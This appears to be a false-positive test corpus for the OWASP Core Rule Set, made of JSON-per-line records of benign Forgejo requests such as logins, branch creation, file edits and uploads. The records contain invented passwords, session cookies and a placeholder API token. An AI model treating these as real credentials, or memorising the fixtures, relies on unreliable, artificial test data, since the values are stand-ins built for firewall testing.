{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 195", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&commit_summary=Drop+the+old+setup+script&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=python3-migration&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 78", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"powershell-ci\", \"old_branch_name\": \"feat/docker-support\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 76", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_ref_name\": \"fix-powershell-module\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 67", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"docker-build\", \"old_ref_name\": \"python3-docs\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 84", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"update-powershell-scripts\", \"old_branch_name\": \"powershell-ci\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/docs/notes.md", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"IyBOb3Rlcwo=\", \"message\": \"Add notes\", \"branch\": \"python3-docs\", \"new_branch\": \"update-powershell-docs\"}"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Accept-Encoding: identity", "Content-Length: 220", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6IG5naW54OjEuMjgK\", \"sha\": \"3c7f894b1cd24c6756ec9b3bfd82c15f9f14b621\", \"message\": \"Pin nginx 1.28\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"feat/python3-support\"}"}
|
||||||
|
{"method": "DELETE", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Accept-Encoding: identity", "Content-Length: 100", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"message\": \"Remove .htaccess\", \"sha\": \"5a928f6da25ac6d6ba65480b76d03a71cb906138\", \"branch\": \"main\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 111", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add notes\", \"head\": \"update-powershell-docs\", \"base\": \"python3-docs\", \"body\": \"Notes on the build.\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 119", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Pin nginx 1.28\", \"head\": \"feat/python3-support\", \"base\": \"fix-powershell-module\", \"body\": \"Pins the image.\"}"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_edit/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 267", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=b69a66a389d3a15c29f4cadf8d92662b97edefc4&page_has_posted=&tree_path=.htaccess&content=Options+-Indexes%0D%0A%23+No+directory+listings%0D%0A&commit_summary=Update+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_edit/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 298", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=af80d9f64107082ff52b6aae5a10828742fe01c2&page_has_posted=&tree_path=scripts%2Finstall-script.sh&content=echo+Installing+the+tools.%0D%0Aecho+Done.%0D%0A&commit_summary=Update+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 205", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhkq69WdAprWrxB7m", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryhkq69WdAprWrxB7m\r\nContent-Disposition: form-data; name=\"file\"; filename=\"release-notes.txt\"\r\nContent-Type: text/plain\r\n\r\nRelease notes\n\r\n------WebKitFormBoundaryhkq69WdAprWrxB7m--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_upload/main/docs", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "tree_path=docs&files=d730c135-cc1c-49b7-a402-d237c0828939&files_fullpath%5Bd730c135-cc1c-49b7-a402-d237c0828939%5D=release-notes.txt&commit_summary=Upload+the+release+notes&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=feat%2Fdocker-support&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 191", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPZVdfDJ4Whs72TTk", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryPZVdfDJ4Whs72TTk\r\nContent-Disposition: form-data; name=\"file\"; filename=\"build.ps1\"\r\nContent-Type: text/plain\r\n\r\n# Build\n\r\n------WebKitFormBoundaryPZVdfDJ4Whs72TTk--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_upload/main/scripts/powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 291", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "tree_path=scripts%2Fpowershell&files=4eb22017-b621-4063-b0a9-ce7cdf5e0853&files_fullpath%5B4eb22017-b621-4063-b0a9-ce7cdf5e0853%5D=build.ps1&commit_summary=Add+a+PowerShell+build+script&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=fix-powershell-module&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 222", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d67674a8bc9dece3fd3dd7486e58e44ca7431457&page_has_posted=true&revert=false&commit_summary=Document+.htaccess&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=python3-migration&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d67674a8bc9dece3fd3dd7486e58e44ca7431457&page_has_posted=true&revert=false&commit_summary=Document+.htaccess&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=update-powershell-docs&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 388", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"create\", \"path\": \"docs/setup.md\", \"content\": \"IyBTZXR1cAo=\"}, {\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKUnVuIHRoZSB0ZXN0cyBiZWZvcmUgYSByZWxlYXNlLgpTZWUgc2V0dXAubWQuCg==\", \"sha\": \"fb5a6e4c18bfe5f548e708d52b57f2aa58f7b2a8\"}], \"message\": \"Add the PowerShell setup notes\", \"branch\": \"python3-docs\", \"new_branch\": \"fix-powershell-docs\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 282", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKVGhlIHdlYiBzZXJ2ZXIgcmVhZHMgLmh0YWNjZXNzLgo=\", \"sha\": \"17e0f0dedfdc83c924c6399a21434fc8240f488c\"}], \"message\": \"Document .htaccess\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"python3-notes\"}"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_preview/main/docs/setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 97", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "HX-Current-URL: http://example.com/alice/tools/_edit/main/docs/setup.md", "Content-Type: application/x-www-form-urlencoded", "HX-Request: true", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docs/setup.md", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "context=%2Falice%2Ftools%2Fsrc%2Fbranch%2Fmain&content=%23%20Setup%0A%0AInstall%20the%20tools.%0A"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 31", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"feat/docker-support\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 33", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"fix-powershell-module\"}"}
|
||||||
+976
@@ -0,0 +1,976 @@
|
|||||||
|
# Ordinary Forgejo 17.0.1 requests that the Core Rule Set must let through at
|
||||||
|
# the defaults. They were recorded from a Forgejo driven by a headless Chrome,
|
||||||
|
# signed out, signed in and on the admin pages, by git over HTTP, by curl on
|
||||||
|
# the API and the generic package registry, and by crane on the container
|
||||||
|
# registry. Each line is one request as JSON. Names, addresses and passwords
|
||||||
|
# are invented. The browser's User-Agent is an ordinary Chrome's. A body or a
|
||||||
|
# multipart part that is not text is written as base64.
|
||||||
|
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/webcomponents.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/css/index.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/css/theme-forgejo-auto.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/index.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/img/logo.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/repos", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/users", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/users", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/organizations", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/forgot_password", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/user/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 91", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/sign_up", "Accept-Encoding: gzip, deflate"], "body": "user_name=bob&email=bob%40example.com&password=Wd7-kPq3-Zx8n-Rf2m&retype=Wd7-kPq3-Zx8n-Rf2m"}
|
||||||
|
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/sign_up", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US; flash=success%3DAccount%2Bwas%2Bsuccessfully%2Bcreated.%2BWelcome%2521"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Referer: http://example.com/", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/css/dashboard-repo-list.98057021.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/dashboard-repo-list.09995173.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo/search?count_only=1&uid=2&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/events", "headers": ["Host: example.com", "Connection: keep-alive", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/event-stream", "Referer: http://example.com/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=2&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Frepo%2Fsearch%3Fsort%3Dupdated%26order%3Ddesc%26uid%3D2%26team_id%3Dundefined%26q%3D%26page%3D1%26limit%3D15%26mode%3D%26archived%3Dfalse"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 43", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Frepo%2Fsearch%3Fsort%3Dupdated%26order%3Ddesc%26uid%3D2%26team_id%3Dundefined%26q%3D%26page%3D1%26limit%3D15%26mode%3D%26archived%3Dfalse"], "body": "user_name=alice&password=Hv4-mQz8-Lr2x-Tp9w"}
|
||||||
|
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=2&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
|
||||||
|
